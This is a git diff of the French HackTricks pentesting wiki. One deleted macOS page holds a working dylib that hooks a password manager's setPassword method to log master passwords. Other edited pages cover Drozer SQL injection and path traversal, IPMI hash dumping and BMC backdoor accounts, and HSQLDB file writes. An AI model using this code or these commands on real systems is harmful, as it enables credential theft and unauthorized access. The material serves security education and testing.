interpose2.c -o interpose2.dylib - -#include - -#define DYLD_INTERPOSE(_replacement, _replacee) \ -__attribute__((used)) static struct { \ -const void* replacement; \ -const void* replacee; \ -} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \ -(const void*) (unsigned long) &_replacement, \ -(const void*) (unsigned long) &_replacee \ -}; - -int my_printf(const char *format, ...) -{ -int ret = printf("Hello from interpose\n"); -return ret; -} - -DYLD_INTERPOSE(my_printf,printf); -``` -{{#endtab}} -{{#endtabs}} -```bash -DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello -Hello from interpose - -DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello -Hello from interpose -``` -## Method Swizzling - -En ObjectiveC, un méthode est appelée comme suit : **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`** - -Il faut l'**objet**, la **méthode** et les **params**. Et lorsqu'une méthode est appelée, un **msg est envoyé** en utilisant la fonction **`objc_msgSend`** : `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` - -L'objet est **`someObject`**, la méthode est **`@selector(method1p1:p2:)`** et les arguments sont **value1**, **value2**. - -En suivant les structures d'objet, il est possible d'atteindre un **tableau de méthodes** où les **noms** et les **pointeurs** vers le code de la méthode sont **situés**. - -> [!CAUTION] -> Notez qu'en raison du fait que les méthodes et les classes sont accessibles en fonction de leurs noms, ces informations sont stockées dans le binaire, il est donc possible de les récupérer avec `otool -ov ` ou [`class-dump `](https://github.com/nygard/class-dump) - -### Accéder aux méthodes brutes - -Il est possible d'accéder aux informations des méthodes telles que le nom, le nombre de params ou l'adresse comme dans l'exemple suivant : -```objectivec -// gcc -framework Foundation test.m -o test - -#import -#import -#import - -int main() { -// Get class of the variable -NSString* str = @"This is an example"; -Class strClass = [str class]; -NSLog(@"str's Class name: %s", class_getName(strClass)); - -// Get parent class of a class -Class strSuper = class_getSuperclass(strClass); -NSLog(@"Superclass name: %@",NSStringFromClass(strSuper)); - -// Get information about a method -SEL sel = @selector(length); -NSLog(@"Selector name: %@", NSStringFromSelector(sel)); -Method m = class_getInstanceMethod(strClass,sel); -NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m)); -NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m)); - -// Iterate through the class hierarchy -NSLog(@"Listing methods:"); -Class currentClass = strClass; -while (currentClass != NULL) { -unsigned int inheritedMethodCount = 0; -Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount); - -NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount); - -for (unsigned int i = 0; i < inheritedMethodCount; i++) { -Method method = inheritedMethods[i]; -SEL selector = method_getName(method); -const char* methodName = sel_getName(selector); -unsigned long address = (unsigned long)method_getImplementation(m); -NSLog(@"Inherited method name: %s (0x%lx)", methodName, address); -} - -// Free the memory allocated by class_copyMethodList -free(inheritedMethods); -currentClass = class_getSuperclass(currentClass); -} - -// Other ways to call uppercaseString method -if([str respondsToSelector:@selector(uppercaseString)]) { -NSString *uppercaseString = [str performSelector:@selector(uppercaseString)]; -NSLog(@"Uppercase string: %@", uppercaseString); -} - -// Using objc_msgSend directly -NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString)); -NSLog(@"Uppercase string: %@", uppercaseString2); - -// Calling the address directly -IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address -NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp -NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method -NSLog(@"Uppercase string: %@", uppercaseString3); - -return 0; -} -``` -### Échange de méthodes avec method_exchangeImplementations - -La fonction **`method_exchangeImplementations`** permet de **changer** l'**adresse** de l'**implémentation** d'**une fonction pour l'autre**. - -> [!CAUTION] -> Donc, lorsque une fonction est appelée, ce qui est **exécuté est l'autre**. -```objectivec -//gcc -framework Foundation swizzle_str.m -o swizzle_str - -#import -#import - - -// Create a new category for NSString with the method to execute -@interface NSString (SwizzleString) - -- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from; - -@end - -@implementation NSString (SwizzleString) - -- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { -NSLog(@"Custom implementation of substringFromIndex:"); - -// Call the original method -return [self swizzledSubstringFromIndex:from]; -} - -@end - -int main(int argc, const char * argv[]) { -// Perform method swizzling -Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:)); -Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:)); -method_exchangeImplementations(originalMethod, swizzledMethod); - -// We changed the address of one method for the other -// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex -// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled - -// Example usage -NSString *myString = @"Hello, World!"; -NSString *subString = [myString substringFromIndex:7]; -NSLog(@"Substring: %@", subString); - -return 0; -} -``` -> [!WARNING] -> Dans ce cas, si le **code d'implémentation de la méthode légitime** **vérifie** le **nom de la méthode**, il pourrait **détecter** ce swizzling et l'empêcher de s'exécuter. -> -> La technique suivante n'a pas cette restriction. - -### Swizzling de méthode avec method_setImplementation - -Le format précédent est étrange car vous changez l'implémentation de 2 méthodes l'une pour l'autre. En utilisant la fonction **`method_setImplementation`**, vous pouvez **changer** l'**implémentation** d'une **méthode pour l'autre**. - -N'oubliez pas de **stocker l'adresse de l'implémentation de l'originale** si vous prévoyez de l'appeler depuis la nouvelle implémentation avant de l'écraser, car il sera beaucoup plus compliqué de localiser cette adresse par la suite. -```objectivec -#import -#import -#import - -static IMP original_substringFromIndex = NULL; - -@interface NSString (Swizzlestring) - -- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from; - -@end - -@implementation NSString (Swizzlestring) - -- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { -NSLog(@"Custom implementation of substringFromIndex:"); - -// Call the original implementation using objc_msgSendSuper -return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from); -} - -@end - -int main(int argc, const char * argv[]) { -@autoreleasepool { -// Get the class of the target method -Class stringClass = [NSString class]; - -// Get the swizzled and original methods -Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:)); - -// Get the function pointer to the swizzled method's implementation -IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:))); - -// Swap the implementations -// It return the now overwritten implementation of the original method to store it -original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP); - -// Example usage -NSString *myString = @"Hello, World!"; -NSString *subString = [myString substringFromIndex:7]; -NSLog(@"Substring: %@", subString); - -// Set the original implementation back -method_setImplementation(originalMethod, original_substringFromIndex); - -return 0; -} -} -``` -## Méthodologie d'attaque par hooking - -Dans cette page, différentes manières de hooker des fonctions ont été discutées. Cependant, elles impliquaient **l'exécution de code à l'intérieur du processus pour attaquer**. - -Pour ce faire, la technique la plus simple à utiliser est d'injecter un [Dyld via des variables d'environnement ou un détournement](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Cependant, je suppose que cela pourrait également être fait via [l'injection de processus Dylib](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port). - -Cependant, les deux options sont **limitées** aux binaires/processus **non protégés**. Vérifiez chaque technique pour en savoir plus sur les limitations. - -Cependant, une attaque par hooking de fonction est très spécifique, un attaquant le fera pour **voler des informations sensibles à l'intérieur d'un processus** (sinon, vous feriez simplement une attaque par injection de processus). Et ces informations sensibles pourraient se trouver dans des applications téléchargées par l'utilisateur telles que MacPass. - -Ainsi, le vecteur de l'attaquant serait soit de trouver une vulnérabilité, soit de supprimer la signature de l'application, d'injecter la variable d'environnement **`DYLD_INSERT_LIBRARIES`** à travers le Info.plist de l'application en ajoutant quelque chose comme : -```xml -LSEnvironment - -DYLD_INSERT_LIBRARIES -/Applications/Application.app/Contents/malicious.dylib - -``` -et ensuite **réenregistrer** l'application : -```bash -/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app -``` -Ajoutez dans cette bibliothèque le code de hooking pour exfiltrer les informations : mots de passe, messages... - -> [!CAUTION] -> Notez que dans les versions plus récentes de macOS, si vous **supprimez la signature** du binaire de l'application et qu'il a été exécuté précédemment, macOS **n'exécutera plus l'application**. - -#### Exemple de bibliothèque -```objectivec -// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib - -// If you added env vars in the Info.plist don't forget to call lsregister as explained before - -// Listen to the logs with something like: -// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"' - -#include -#import - -// Here will be stored the real method (setPassword in this case) address -static IMP real_setPassword = NULL; - -static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL) -{ -// Function that will log the password and call the original setPassword(pass, file_path) method -NSLog(@"[+] Password is: %@", password); - -// After logging the password call the original method so nothing breaks. -return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL); -} - -// Library constructor to execute -__attribute__((constructor)) -static void customConstructor(int argc, const char **argv) { -// Get the real method address to not lose it -Class classMPDocument = NSClassFromString(@"MPDocument"); -Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:)); - -// Make the original method setPassword call the fake implementation one -IMP fake_IMP = (IMP)custom_setPassword; -real_setPassword = method_setImplementation(real_Method, fake_IMP); -} -``` -## Références - -- [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/misc/references.md b/src/misc/references.md deleted file mode 100644 index eb3792a1f..000000000 --- a/src/misc/references.md +++ /dev/null @@ -1,95 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -{{#ref}} -https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick -{{#endref}} - -{{#ref}} -https://hausec.com/pentesting-cheatsheet/#_Toc475368982 -{{#endref}} - -{{#ref}} -https://anhtai.me/pentesting-cheatsheet/ -{{#endref}} - -{{#ref}} -https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html -{{#endref}} - -{{#ref}} -https://ired.team/offensive-security-experiments/offensive-security-cheetsheets -{{#endref}} - -{{#ref}} -https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html -{{#endref}} - -{{#ref}} -https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md -{{#endref}} - -{{#ref}} -https://anhtai.me/oscp-fun-guide/ -{{#endref}} - -{{#ref}} -https://www.thehacker.recipes/ -{{#endref}} - -{{#ref}} -https://github.com/swisskyrepo/PayloadsAllTheThings -{{#endref}} - -{{#ref}} -https://gtfobins.github.io/ -{{#endref}} - -{{#ref}} -https://github.com/RistBS/Awesome-RedTeam-Cheatsheet -{{#endref}} - -{{#ref}} -https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet -{{#endref}} - -{{#ref}} -https://hideandsec.sh/ -{{#endref}} - -{{#ref}} -https://cheatsheet.haax.fr/ -{{#endref}} - -{{#ref}} -https://infosecwriteups.com/ -{{#endref}} - -{{#ref}} -https://www.exploit-db.com/ -{{#endref}} - -{{#ref}} -https://wadcoms.github.io/ -{{#endref}} - -{{#ref}} -https://lolbas-project.github.io -{{#endref}} - -{{#ref}} -https://pentestbook.six2dez.com/ -{{#endref}} - -{{#ref}} -https://www.hackingarticles.in/ -{{#endref}} - -{{#ref}} -https://pentestlab.blog/ -{{#endref}} - -{{#ref}} -https://ippsec.rocks/ -{{#endref}} - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md index 1ebbf67e2..5bb8c5034 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md @@ -1,7 +1,5 @@ # Exploiter les fournisseurs de contenu -## Exploiter les fournisseurs de contenu - {{#include ../../../banners/hacktricks-training.md}} ## Intro @@ -40,7 +38,7 @@ Content Provider: com.mwr.example.sieve.FileBackupProvider Multiprocess Allowed: True Grant Uri Permissions: False ``` -Il est possible de reconstituer comment atteindre le **DBContentProvider** en commençant les URIs par “_content://_”. Cette approche est basée sur des informations obtenues en utilisant Drozer, où des informations clés étaient situées dans le _/Keys_ répertoire. +Il est possible de reconstituer comment atteindre le **DBContentProvider** en commençant les URIs par “_content://_”. Cette approche est basée sur des informations obtenues en utilisant Drozer, où des informations clés se trouvaient dans le _/Keys_ répertoire. Drozer peut **deviner et essayer plusieurs URIs** : ``` @@ -75,9 +73,9 @@ En vérifiant le code du Content Provider, **regardez** également les **fonctio ![](<../../../images/image (254) (1) (1) (1) (1) (1) (1) (1).png>) -Parce que vous serez en mesure de les appeler +Parce que vous pourrez les appeler -### Interroger le contenu +### Query content ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical _id: 1 @@ -95,7 +93,7 @@ En interrogeant la base de données, vous apprendrez le **nom des colonnes**, pu ![](<../../../images/image (173).png>) -_Remarque que dans l'insertion et la mise à jour, vous pouvez utiliser --string pour indiquer une chaîne, --double pour indiquer un double, --float, --integer, --long, --short, --boolean_ +_Remarque : lors de l'insertion et de la mise à jour, vous pouvez utiliser --string pour indiquer une chaîne, --double pour indiquer un double, --float, --integer, --long, --short, --boolean_ ### Mettre à jour le contenu @@ -114,7 +112,7 @@ Lors de l'interrogation du fournisseur de contenu, il y a 2 arguments intéressa ![](<../../../images/image (784).png>) -Vous pouvez essayer d'**abuser** de ces **paramètres** pour tester les **injections SQL** : +Vous pouvez essayer de **profiter** de ces **paramètres** pour tester des **injections SQL** : ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (') @@ -160,9 +158,9 @@ Vous pouvez lire des fichiers à partir du fournisseur de contenu. dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 127.0.0.1 localhost ``` -### **Traversal de chemin** +### **Path Traversal** -Si vous pouvez accéder à des fichiers, vous pouvez essayer d'abuser d'un Traversal de chemin (dans ce cas, ce n'est pas nécessaire, mais vous pouvez essayer d'utiliser "_../_" et des astuces similaires). +Si vous pouvez accéder à des fichiers, vous pouvez essayer d'abuser d'un Path Traversal (dans ce cas, ce n'est pas nécessaire, mais vous pouvez essayer d'utiliser "_../_" et des astuces similaires). ``` dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 127.0.0.1 localhost diff --git a/src/network-services-pentesting/623-udp-ipmi.md b/src/network-services-pentesting/623-udp-ipmi.md index ff4299510..a30347fa2 100644 --- a/src/network-services-pentesting/623-udp-ipmi.md +++ b/src/network-services-pentesting/623-udp-ipmi.md @@ -1,10 +1,7 @@ # 623/UDP/TCP - IPMI -## 623/UDP/TCP - IPMI - {{#include ../banners/hacktricks-training.md}} - ## Informations de base ### **Aperçu de l'IPMI** @@ -15,7 +12,7 @@ - Gestion de l'alimentation - Récupération après des pannes système -L'IPMI est capable de surveiller les températures, les tensions, les vitesses des ventilateurs et les alimentations, tout en fournissant des informations d'inventaire, en examinant les journaux matériels et en envoyant des alertes via SNMP. Essentiel à son fonctionnement, il nécessite une source d'alimentation et une connexion LAN. +L'IPMI est capable de surveiller les températures, les tensions, les vitesses des ventilateurs et les alimentations, tout en fournissant des informations d'inventaire, en examinant les journaux matériels et en envoyant des alertes via SNMP. Une source d'alimentation et une connexion LAN sont essentielles à son fonctionnement. Depuis son introduction par Intel en 1998, l'IPMI a été soutenu par de nombreux fournisseurs, améliorant les capacités de gestion à distance, notamment avec le support de la version 2.0 pour le série sur LAN. Les composants clés incluent : @@ -56,7 +53,7 @@ apt-get install ipmitool # Installation command ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password ``` -### **Récupération de hachages de mots de passe à distance pour l'authentification RAKP IPMI 2.0** +### **Récupération de hachages de mots de passe distants d'authentification RAKP IPMI 2.0** Cette vulnérabilité permet la récupération de mots de passe hachés salés (MD5 et SHA1) pour tout nom d'utilisateur existant. Pour tester cette vulnérabilité, Metasploit propose un module : ```bash @@ -71,13 +68,13 @@ ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword ``` ### **Supermicro IPMI Mots de passe en clair** -Un choix de conception critique dans IPMI 2.0 nécessite le stockage de mots de passe en clair dans les BMC pour des raisons d'authentification. Le stockage de ces mots de passe par Supermicro dans des emplacements tels que `/nv/PSBlock` ou `/nv/PSStore` soulève d'importantes préoccupations en matière de sécurité : +Un choix de conception critique dans IPMI 2.0 nécessite le stockage de mots de passe en clair au sein des BMC pour des fins d'authentification. Le stockage de ces mots de passe par Supermicro dans des emplacements tels que `/nv/PSBlock` ou `/nv/PSStore` soulève d'importantes préoccupations en matière de sécurité : ```bash cat /nv/PSBlock ``` ### **Vulnérabilité UPnP IPMI de Supermicro** -L'inclusion par Supermicro d'un écouteur SSDP UPnP dans son firmware IPMI, en particulier sur le port UDP 1900, introduit un risque de sécurité sévère. Les vulnérabilités dans l'Intel SDK pour les appareils UPnP version 1.3.1, comme détaillé par [la divulgation de Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), permettent un accès root au BMC : +L'inclusion par Supermicro d'un écouteur SSDP UPnP dans son firmware IPMI, en particulier sur le port UDP 1900, introduit un risque de sécurité sévère. Les vulnérabilités dans le SDK Intel pour les appareils UPnP version 1.3.1, comme détaillé par [la divulgation de Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), permettent un accès root au BMC : ```bash msf> use exploit/multi/upnp/libupnp_ssdp_overflow ``` @@ -89,11 +86,11 @@ msf> use exploit/multi/upnp/libupnp_ssdp_overflow - Des produits comme **Dell's iDRAC, IBM's IMM**, et **Fujitsu's Integrated Remote Management Controller** utilisent des mots de passe facilement devinables tels que "calvin", "PASSW0RD" (avec un zéro), et "admin" respectivement. - De même, **Supermicro IPMI (2.0), Oracle/Sun ILOM**, et **ASUS iKVM BMC** utilisent également des identifiants par défaut simples, avec "ADMIN", "changeme", et "admin" servant de mots de passe. -## Accéder à l'hôte via BMC +## Accessing the Host via BMC -L'accès administratif au Baseboard Management Controller (BMC) ouvre diverses voies pour accéder au système d'exploitation de l'hôte. Une approche simple consiste à exploiter la fonctionnalité KVM (Keyboard, Video, Mouse) du BMC. Cela peut être fait en redémarrant l'hôte vers un shell root via GRUB (en utilisant `init=/bin/sh`) ou en démarrant à partir d'un CD-ROM virtuel configuré comme disque de secours. De telles méthodes permettent une manipulation directe du disque de l'hôte, y compris l'insertion de portes dérobées, l'extraction de données, ou toute action nécessaire pour une évaluation de sécurité. Cependant, cela nécessite de redémarrer l'hôte, ce qui est un inconvénient majeur. Sans redémarrage, accéder à l'hôte en cours d'exécution est plus complexe et varie selon la configuration de l'hôte. Si la console physique ou série de l'hôte reste connectée, elle peut facilement être prise en charge via les fonctionnalités KVM ou serial-over-LAN (sol) du BMC via `ipmitool`. Explorer l'exploitation des ressources matérielles partagées, comme le bus i2c et la puce Super I/O, est un domaine qui nécessite une enquête plus approfondie. +L'accès administratif au Baseboard Management Controller (BMC) ouvre diverses voies pour accéder au système d'exploitation de l'hôte. Une approche simple consiste à exploiter la fonctionnalité Keyboard, Video, Mouse (KVM) du BMC. Cela peut être fait en redémarrant l'hôte vers un shell root via GRUB (en utilisant `init=/bin/sh`) ou en démarrant à partir d'un CD-ROM virtuel configuré comme disque de secours. De telles méthodes permettent une manipulation directe du disque de l'hôte, y compris l'insertion de portes dérobées, l'extraction de données, ou toute action nécessaire pour une évaluation de sécurité. Cependant, cela nécessite de redémarrer l'hôte, ce qui est un inconvénient majeur. Sans redémarrage, accéder à l'hôte en cours d'exécution est plus complexe et varie selon la configuration de l'hôte. Si la console physique ou série de l'hôte reste connectée, elle peut facilement être prise en charge via les fonctionnalités KVM ou serial-over-LAN (sol) du BMC via `ipmitool`. Explorer l'exploitation des ressources matérielles partagées, comme le bus i2c et la puce Super I/O, est un domaine qui nécessite une enquête plus approfondie. -## Introduction de portes dérobées dans le BMC depuis l'hôte +## Introducing Backdoors into BMC from the Host Après avoir compromis un hôte équipé d'un BMC, l'**interface BMC locale peut être exploitée pour insérer un compte utilisateur de porte dérobée**, créant une présence durable sur le serveur. Cette attaque nécessite la présence de **`ipmitool`** sur l'hôte compromis et l'activation du support du pilote BMC. Les commandes suivantes illustrent comment un nouveau compte utilisateur peut être injecté dans le BMC en utilisant l'interface locale de l'hôte, ce qui contourne le besoin d'authentification. Cette technique est applicable à un large éventail de systèmes d'exploitation, y compris Linux, Windows, BSD, et même DOS. ```bash diff --git a/src/network-services-pentesting/8086-pentesting-influxdb.md b/src/network-services-pentesting/8086-pentesting-influxdb.md index fb152ecd5..1f32c8957 100644 --- a/src/network-services-pentesting/8086-pentesting-influxdb.md +++ b/src/network-services-pentesting/8086-pentesting-influxdb.md @@ -1,11 +1,10 @@ # 8086 - Pentesting InfluxDB - {{#include ../banners/hacktricks-training.md}} ## Informations de base -**InfluxDB** est une **base de données de séries temporelles (TSDB)** open-source développée par InfluxData. Les TSDB sont optimisées pour stocker et servir des données de séries temporelles, qui se composent de paires timestamp-valeur. Par rapport aux bases de données à usage général, les TSDB offrent des améliorations significatives en **espace de stockage** et en **performance** pour les ensembles de données de séries temporelles. Elles utilisent des algorithmes de compression spécialisés et peuvent être configurées pour supprimer automatiquement les anciennes données. Des indices de base de données spécialisés améliorent également la performance des requêtes. +**InfluxDB** est une base de données **time series (TSDB)** open-source développée par InfluxData. Les TSDB sont optimisées pour stocker et servir des données de séries temporelles, qui se composent de paires timestamp-valeur. Par rapport aux bases de données à usage général, les TSDB offrent des améliorations significatives en **espace de stockage** et en **performance** pour les ensembles de données de séries temporelles. Elles utilisent des algorithmes de compression spécialisés et peuvent être configurées pour supprimer automatiquement les anciennes données. Des indices de base de données spécialisés améliorent également la performance des requêtes. **Port par défaut** : 8086 ``` @@ -47,7 +46,7 @@ _internal ``` #### Afficher les tables/mesures -La [**documentation InfluxDB**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) explique que les **mesures** dans InfluxDB peuvent être parallèles aux tables SQL. La nomenclature de ces **mesures** est indicative de leur contenu respectif, chacune contenant des données pertinentes à une entité particulière. +La [**documentation InfluxDB**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) explique que les **mesures** dans InfluxDB peuvent être parallèles aux tables SQL. La nomenclature de ces **mesures** est indicative de leur contenu respectif, chacune abritant des données pertinentes à une entité particulière. ```bash > show measurements name: measurements diff --git a/src/network-services-pentesting/9001-pentesting-hsqldb.md b/src/network-services-pentesting/9001-pentesting-hsqldb.md index a04174425..1347277c6 100644 --- a/src/network-services-pentesting/9001-pentesting-hsqldb.md +++ b/src/network-services-pentesting/9001-pentesting-hsqldb.md @@ -1,6 +1,8 @@ +# 9001 - Pentesting HSQLDB + {{#include ../banners/hacktricks-training.md}} -# Informations de base +## Informations de base **HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** est le principal système de base de données relationnelle SQL écrit en Java. Il offre un moteur de base de données multithreadé et transactionnel, rapide et léger, avec des tables en mémoire et sur disque, et prend en charge les modes intégré et serveur. @@ -8,11 +10,9 @@ ```text 9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0) ``` -# Information +## Paramètres par défaut -### Paramètres par défaut - -Notez qu'en général, ce service fonctionne probablement en mémoire ou est lié à localhost. Si vous l'avez trouvé, vous avez probablement exploité un autre service et cherchez à élever vos privilèges. +Notez qu'en règle générale, ce service fonctionne probablement en mémoire ou est lié à localhost. Si vous l'avez trouvé, vous avez probablement exploité un autre service et cherchez à élever vos privilèges. Les identifiants par défaut sont généralement `sa` avec un mot de passe vide. @@ -22,23 +22,23 @@ grep -rP 'jdbc:hsqldb.*password.*' /path/to/search ``` Notez soigneusement le nom de la base de données - vous en aurez besoin pour vous connecter. -# Collecte d'informations +## Collecte d'informations Connectez-vous à l'instance de la base de données en [téléchargeant HSQLDB](https://sourceforge.net/projects/hsqldb/files/) et en extrayant `hsqldb/lib/hsqldb.jar`. Exécutez l'application GUI \(eww\) en utilisant `java -jar hsqldb.jar` et connectez-vous à l'instance en utilisant les identifiants découverts/faibles. Notez que l'URL de connexion ressemblera à quelque chose comme ceci pour un système distant : `jdbc:hsqldb:hsql://ip/DBNAME`. -# Astuces +## Astuces -## Routines de langage Java +### Routines de langage Java -Nous pouvons appeler des méthodes statiques d'une classe Java depuis HSQLDB en utilisant des Routines de langage Java. Notez que la classe appelée doit être dans le classpath de l'application. +Nous pouvons appeler des méthodes statiques d'une classe Java depuis HSQLDB en utilisant des Routines de Langage Java. Notez que la classe appelée doit être dans le classpath de l'application. Les JRT peuvent être des `functions` ou des `procedures`. Les fonctions peuvent être appelées via des instructions SQL si la méthode Java retourne une ou plusieurs variables primitives compatibles SQL. Elles sont invoquées en utilisant l'instruction `VALUES`. Si la méthode Java que nous voulons appeler retourne void, nous devons utiliser une procédure invoquée avec l'instruction `CALL`. -## Lecture des propriétés système Java +### Lecture des propriétés système Java Créer une fonction : ```text @@ -52,7 +52,7 @@ VALUES(getsystemproperty('user.name')) ``` Vous pouvez trouver une [liste des propriétés système ici](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html). -## Écrire du contenu dans un fichier +### Écrire du contenu dans un fichier Vous pouvez utiliser le `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` gadget Java situé dans le JDK \(chargé automatiquement dans le chemin de classe de l'application\) pour écrire des éléments encodés en hexadécimal sur le disque via une procédure personnalisée. **Notez la taille maximale de 1024 octets**. diff --git a/src/network-services-pentesting/pentesting-postgresql.md b/src/network-services-pentesting/pentesting-postgresql.md index 746e0dfd1..bf94d6e66 100644 --- a/src/network-services-pentesting/pentesting-postgresql.md +++ b/src/network-services-pentesting/pentesting-postgresql.md @@ -1,18 +1,17 @@ # 5432,5433 - Pentesting Postgresql - {{#include ../banners/hacktricks-training.md}} ## **Informations de base** **PostgreSQL** est décrit comme un **système de base de données objet-relationnel** qui est **open source**. Ce système utilise non seulement le langage SQL mais l'améliore également avec des fonctionnalités supplémentaires. Ses capacités lui permettent de gérer une large gamme de types de données et d'opérations, ce qui en fait un choix polyvalent pour les développeurs et les organisations. -**Port par défaut :** 5432, et si ce port est déjà utilisé, il semble que postgresql utilisera le port suivant (5433 probablement) qui n'est pas utilisé. +**Port par défaut :** 5432, et si ce port est déjà utilisé, il semble que postgresql utilisera le prochain port (probablement 5433) qui n'est pas utilisé. ``` PORT STATE SERVICE 5432/tcp open pgsql ``` -## Connexion et énumération de base +## Connexion et Enumération de Base ```bash psql -U # Open psql console with user psql -h -U -d # Remote connection @@ -111,17 +110,17 @@ Dans les fonctions PL/pgSQL, il n'est actuellement pas possible d'obtenir des d | Types de rôle | | | -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | | rolsuper | Le rôle a des privilèges de superutilisateur | -| rolinherit | Le rôle hérite automatiquement des privilèges des rôles dont il est membre | -| rolcreaterole | Le rôle peut créer d'autres rôles | -| rolcreatedb | Le rôle peut créer des bases de données | +| rolinherit | Le rôle hérite automatiquement des privilèges des rôles dont il est membre | +| rolcreaterole | Le rôle peut créer d'autres rôles | +| rolcreatedb | Le rôle peut créer des bases de données | | rolcanlogin | Le rôle peut se connecter. C'est-à-dire que ce rôle peut être donné comme identifiant d'autorisation de session initiale | | rolreplication | Le rôle est un rôle de réplication. Un rôle de réplication peut initier des connexions de réplication et créer et supprimer des slots de réplication. | | rolconnlimit | Pour les rôles qui peuvent se connecter, cela définit le nombre maximum de connexions simultanées que ce rôle peut établir. -1 signifie pas de limite. | | rolpassword | Pas le mot de passe (se lit toujours comme `********`) | -| rolvaliduntil | Heure d'expiration du mot de passe (utilisé uniquement pour l'authentification par mot de passe) ; null si pas d'expiration | +| rolvaliduntil | Date d'expiration du mot de passe (utilisé uniquement pour l'authentification par mot de passe) ; null si pas d'expiration | | rolbypassrls | Le rôle contourne chaque politique de sécurité au niveau des lignes, voir [Section 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) pour plus d'informations. | -| rolconfig | Valeurs par défaut spécifiques au rôle pour les variables de configuration à l'exécution | -| oid | ID du rôle | +| rolconfig | Valeurs par défaut spécifiques au rôle pour les variables de configuration à l'exécution | +| oid | ID du rôle | #### Groupes intéressants @@ -129,8 +128,8 @@ Dans les fonctions PL/pgSQL, il n'est actuellement pas possible d'obtenir des d - Si vous êtes membre de **`pg_read_server_files`**, vous pouvez **lire** des fichiers - Si vous êtes membre de **`pg_write_server_files`**, vous pouvez **écrire** des fichiers -> [!NOTE] -> Notez que dans Postgres, un **utilisateur**, un **groupe** et un **rôle** sont **les mêmes**. Cela dépend simplement de **comment vous l'utilisez** et si vous **permettez la connexion**. +> [!TIP] +> Notez que dans Postgres, un **utilisateur**, un **groupe** et un **rôle** sont **les mêmes**. Cela dépend simplement de **comment vous l'utilisez** et si vous **l'autorisez à se connecter**. ```sql # Get users roles \du @@ -228,7 +227,7 @@ SELECT * FROM demo; > > [**Plus d'infos.**](pentesting-postgresql.md#privilege-escalation-with-createrole) -Il existe **d'autres fonctions postgres** qui peuvent être utilisées pour **lire un fichier ou lister un répertoire**. 